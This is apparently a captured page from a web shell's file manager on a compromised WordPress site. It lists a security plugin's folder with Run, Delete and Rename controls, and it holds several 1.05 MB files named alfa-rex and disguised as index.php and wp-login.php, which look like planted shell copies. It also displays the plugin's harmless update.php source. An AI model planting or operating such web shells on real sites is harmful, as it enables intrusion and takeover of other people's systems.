at path:
ROOT
/
wp-content
/
plugins
/
wp-fail2ban
/
lib
/
update.php
run:
R
W
Run
about.php
1.05 MB
2016-06-12 19:38:14
R
W
Run
Delete
Rename
about.php7
1.05 MB
2017-06-16 19:38:14
R
W
Run
Delete
Rename
activation.php
2.86 KB
2026-06-23 07:19:57
R
W
Run
Delete
Rename
alfa-rex.PHP
1.05 MB
2026-06-17 19:38:14
R
W
Run
Delete
Rename
alfa-rex.PhP7
1.05 MB
2026-06-17 19:38:13
R
W
Run
Delete
Rename
alfa-rex.php56
1.05 MB
2026-06-17 19:38:14
R
W
Run
Delete
Rename
alfa-rex.php8
1.05 MB
2026-06-17 19:38:14
R
W
Run
Delete
Rename
compat.php
3.02 KB
2026-06-16 01:07:19
R
W
Run
Delete
Rename
constants.php
7.68 KB
2026-06-16 01:07:19
R
W
Run
Delete
Rename
convert-data.php
2.83 KB
2026-06-16 01:07:19
R
W
Run
Delete
Rename
hashes.php
14.81 KB
2026-06-16 01:07:19
R
W
Run
Delete
Rename
index.php
1.05 MB
2026-06-17 19:38:14
R
W
Run
Delete
Rename
invalid-ip-exception.php
304 By
2026-06-16 01:07:19
R
W
Run
Delete
Rename
ip-range-list.php
4.54 KB
2026-06-16 01:07:19
R
W
Run
Delete
Rename
ip.php
5.22 KB
2026-06-16 01:07:19
R
W
Run
Delete
Rename
loader.php
18.19 KB
2026-06-16 01:07:19
R
W
Run
Delete
Rename
site-health.php
22.4 KB
2026-06-16 01:07:19
R
W
Run
Delete
Rename
syslog.php
4.64 KB
2026-06-16 01:07:19
R
W
Run
Delete
Rename
update.php
851 By
2026-06-16 01:07:19
R
W
Run
Delete
Rename
wp-login.php
1.05 MB
2026-06-17 19:38:13
R
W
Run
Delete
Rename
error_log
up
📄
update.php
Save
<?php declare(strict_types=1); /** * WP fail2ban main file * * @package wp-fail2ban * @since 4.4.0.9 */ namespace org\lecklider\charles\wordpress\wp_fail2ban; defined( 'ABSPATH' ) or exit; /** * Allow auto-updates based on semver * * Major version must match. * Patch and below are ignored. * * @since 5.1.0 Handle missing slug (Google Sitekit) * @since 5.0.1 Only Major must match * @since 4.4.0.9 * * @param mixed $update * @param object $item * * @return mixed */ function auto_update_plugin( $update, $item ) { if ( 'wp-fail2ban' == $item->slug ?? '' ) { $old_ver = explode( '.', WP_FAIL2BAN_VER ); $new_ver = explode( '.', $item->new_version ); // Only allow auto-update if Major matches return ( $old_ver[0] == $new_ver[0] ) ? $update // Do not force auto-update : false; } return $update; }